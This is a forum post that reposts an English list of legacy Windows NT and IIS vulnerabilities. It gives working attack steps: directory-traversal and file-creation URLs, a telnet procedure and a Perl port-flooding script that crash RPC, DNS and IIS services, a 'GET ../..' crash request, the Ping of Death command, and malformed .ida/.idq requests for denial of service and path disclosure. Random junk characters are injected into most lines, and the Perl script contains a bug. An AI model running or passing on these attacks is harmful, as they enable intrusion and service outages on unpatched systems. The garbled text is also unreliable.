找回密码
 注册

QQ登录

只需一步,快速开始

NT的漏洞及描述(英文)

[复制链接]
发表于 2011-1-13 17:12:25 | 显示全部楼层 |阅读模式
受影响系统:4.0,iis 1.00 A, i, q3 C* |  t
A URL such as 'http://www.domain.com/..\..' allows you to browse and download files outside of the webserver content root directory.; `. T0 B8 u+ {+ R4 ^6 u3 ~) `
( @/ P5 f& U6 N) ^) _6 v: }
A URL such as 'http://www.domain.com/scripts..\..\scriptname' allows you to execute the target script.) {% |- _% T# Y6 N
( D! W) n# |( J5 c5 j1 O
By default user 'Guest' or IUSR_WWW has read access to all files on an NT disk. These files can be browsed, executed or downloaded by wandering guests.
. u0 T1 ~' v) R6 T" f! k& u8 [! F2 A
- }$ t0 _9 f- }7 E& u--------------------------------------------------------------------
9 l& z# q9 h/ v6 L" H2 P* T- h- M# S2 o* b* D, N
受影响系统:4.0
5 S+ e& W+ `7 ]! R# kA URL such as http://www.domain.com/scripts/exploit.bat>PATH\target.bat will create a file 'target.bat''.# R8 `( }$ o  }- ]
: ]& r3 \+ x5 E2 v4 |3 q, z2 `1 P
If the file 'target.bat' exists, the file will be truncated.: S4 X$ }, F& B9 \" m, _

% ?& ^  j6 t' i1 l6 y5 t2 J) a2 z! i0 Y7 m
A URL such as http://www.domain.com/scripts/script_name%0A%0D>PATH\target.bat will create an output file 'target.bat''.' K; {2 w  _- f* a5 h6 W
8 f. c! k+ x( L
----------------------------------------------------------------------
" Z& }1 H- g4 B% A
6 o6 i- @; W- \8 n( r受影响系统:3.51,4.0
6 y. E$ B* t$ ^5 p1 dMultiple service ports (53, 135, 1031) are vunerable to 'confusion'.. w" c: X4 y- P  M
6 {+ N. c2 B. ]: p
The following steps;9 z0 [4 [! `. ]8 X& \9 {- c

# `% c6 h. `4 a, lTelnet to an NT 4.0 system on port 135 ; Y, y2 K+ R1 {' V) m
Type about 10 characters followed by a <CR> ! Z( F$ X  [( X( R+ O5 I/ H$ U
Exit Telnet
4 @# _  Q  f4 z# Yresults in a target host CPU utilization of 100%, though at a lower priority than the desktop shell. Multiple services which are confused can result in a locked system.
9 A9 M& k# z4 a7 O  ]! i4 H( l+ O8 {5 p! K. ~* u9 d: E
When launched against port 135, NT Task manager on the target host shows RPCSS.EXE using more than usual process time. To clear this the system must be rebooted.
5 U7 L$ X  K. x9 m' G* V6 K) h) z: u
The above also works on port 1031 (inetinfo.exe) where IIS services must be restarted.
6 l, J* F) H- t5 t! E9 C( z" N9 z* Y* r( V" z" s4 h: x
If a DNS server is running on the system, this attack against port 53 (dns.exe) will cause DNS to stop functioning.! G# C( |# h5 e
2 s# P  M; |& j: W  w3 \
The following is modified perl script gleaned from postings in the NTsecurity@iss.net list to test ports on your system (Perl is available from the NT resource kit):
( c2 q! g2 f7 k0 @
5 G6 r8 S. W  F+ o5 B; C; A/*begin poke code*/# O8 b5 e1 W3 n6 z6 c) ], C

( O( s3 O0 z+ u: ^5 A$ e+ E) {" Ause Socket;
) f0 O+ [: C# s4 ~. @7 Ouse FileHandle;( ~5 \. g) w" B7 U
require "chat2.pl";
  h! @" C( p; K- O1 P; j! C- I
4 q( u+ w0 h/ V- V9 k$systemname = $ARGV[0] && shift;* \% a( R  c, \' q1 C: a4 T
: u4 v$ D- c% v8 F+ z1 l$ h: ]+ z  Z
$verbose = 1; # tell me what you're hitting" `1 |/ X& X, J* y
$knownports = 1; # don't hit known problem ports
& [% r% T, u# M' ufor ($port = $0; $port<65535; $port++)
* |3 h( }' o2 x3 p{$ O0 K* h& r8 s8 `/ L7 g' q

- z  y4 k1 `# C8 U4 Z- L: I2 H1 _; N0 x, M7 P
if ($knownports && ($port == 53 || $port == 135 || $port== 1031)) {
% |2 J8 S& c' q4 n+ @2 m! unext;
9 m, i9 @8 |+ k! z}3 [2 R* w* z" z4 p: v
$fh = chat::open_port($systemname, $port);
, N1 h0 g' Y( U% Vchat::print ($fh,"This is about ten characters or more");5 p& D/ E# F' G  C/ b7 f. O
if ($verbose) {& d- o6 f- X( U$ K
print "Trying port: $port\n";' b: B6 j% C; v0 C' d& c$ F7 O
}
5 |" k/ ^. F* G0 pchat::close($fh);  p' O' b, R! p0 D1 g* q. `

, Z; @: ?" H3 W6 X- l: ]* |}
* a: e6 u8 L& G: j% u; |, u) F' _
, }. x6 \* X! v) Q# r( o
8 B1 B" U. H! K' h/*end poke code*/  Q; R; s0 e9 k+ X3 Z/ n0 F$ r

, ^% T: c! R8 P) s; ^1 SSave the above text as c:\perl\bin\poke, run like this: C:\perl\bin> perl poke servername
. f$ d$ m1 [1 s5 [6 q6 \! w; a1 r. g% i( J/ P
--------------------------------------------------------------------------------
8 B( L, K1 K0 b1 f6 j+ V8 [
' y8 w6 S( D, G% a; y* f受影响系统:4.0/ w  L8 o5 B, y
Using a telnet application to get to a webserver via HTTP port 80, and typing "GET ../.." <cr> will crash IIS.
7 q$ U+ K% C" N1 |6 E3 E; E$ \# ~  S" r# l: k: D' f
This attack causes Dr. Watson to display an alert window and to log an error: % W1 S. t9 C4 l

7 W' d& }' o0 m$ d* e9 O"The application, exe\inetinfo.dbg, generated an application error The error occurred on date@ time The exception generated was c0000005 at address 53984655 (TCP_AUTHENT::TCP_AUTHENT". b; |6 C/ _3 B, C- K% `: E
3 Y2 o: S( E: ?3 Y: E; U% b' @
--------------------------------------------------------------------------------
* a# k, E3 w3 U3 K( _
9 o) {1 w. A' u2 K2 N受影响系统:3.51,4.0
$ X$ ]9 ]  T0 r* f) ~Large packet pings (PING -l 65527 -s 1 hostname) otherwise known as 'Ping of Death' can cause a blue screen of death on 3.51 systems:
6 w) E& i! t. `' C. |+ y6 q& V" Z
& W. }. F8 p" d: m) p9 b2 }STOP: 0X0000001E
2 i! M0 J2 ^3 U! w$ ^0 pKMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS4 N. l  `# v* \' O: e. R( X+ H3 a
& P# k9 R9 u" D( U  t- T3 f2 }
-OR-
0 L" k5 @8 b! ~2 V) a! f6 R0 }8 ?1 a0 W3 c
STOP: 0x0000000A
7 u1 e- B) y% l& OIRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS
4 m3 u* ~1 k& l. U2 n1 O" l
) d- x$ {* b3 d1 I% RNT 4.0 is vunerable sending large packets, but does not crash on receiving large packets." D4 S+ p- ^% a
: x: m1 y7 Y+ ]! i7 o
--------------------------------------------------------------------------------
: t/ x' n& Y4 H6 ]5 {* T  F! _" M+ G( W1 z
Microsoft IIS 5.0 has problems handling a specific form of URL ending with "ida". The problem can have 2 kinds of results. One possible outcome is that the server responds with a message like "URL String too long"; "Cannot find the specified path" or the like. The other possible result is that the server terminates with an "Access Violation" message (effectively causing a Denial of Service attack against the server). Vulnerable are all IIS versions (up to and including IIS 5.0). When a remote attacker issues a URL request with the malformed URL: http://www.example.com/...[25kb of '.']...ida The server will either crash (causing an effective DoS attack) or report its current directory location (revealing the directory structure).
4 T  J3 ^3 ?& j2 k$ C3 e6 a9 C) C6 x
9 p. m, h: ?( u6 z- u--------------------------------------------------------8 ?& Q* o: y+ m; K

) ]6 i: y8 [; e! a5 D3 c3 X1 J( GIIS, Microsoft's Internet Information Server, can be used to reveal the true path of the files (where they physically reside on the local hard drive), by requesting a non-existing file with an IDQ/IDA extension. By requesting a URL such as: http://www.microsoft.com/anything.ida Or: http://www.microsoft.com/anything.idq A remote user will get a response that looks like: 'The IDQ d:\http\anything.idq could not be found' Such a response allows him to gain further knowledge on how the web site is organized and the directory structure of the server
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|本地广告联系: QQ:905790666 TEL:13176190456|Archiver|手机版|小黑屋|汶上信息港 ( 鲁ICP备19052200号-1 )

GMT+8, 2026-6-14 22:09

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表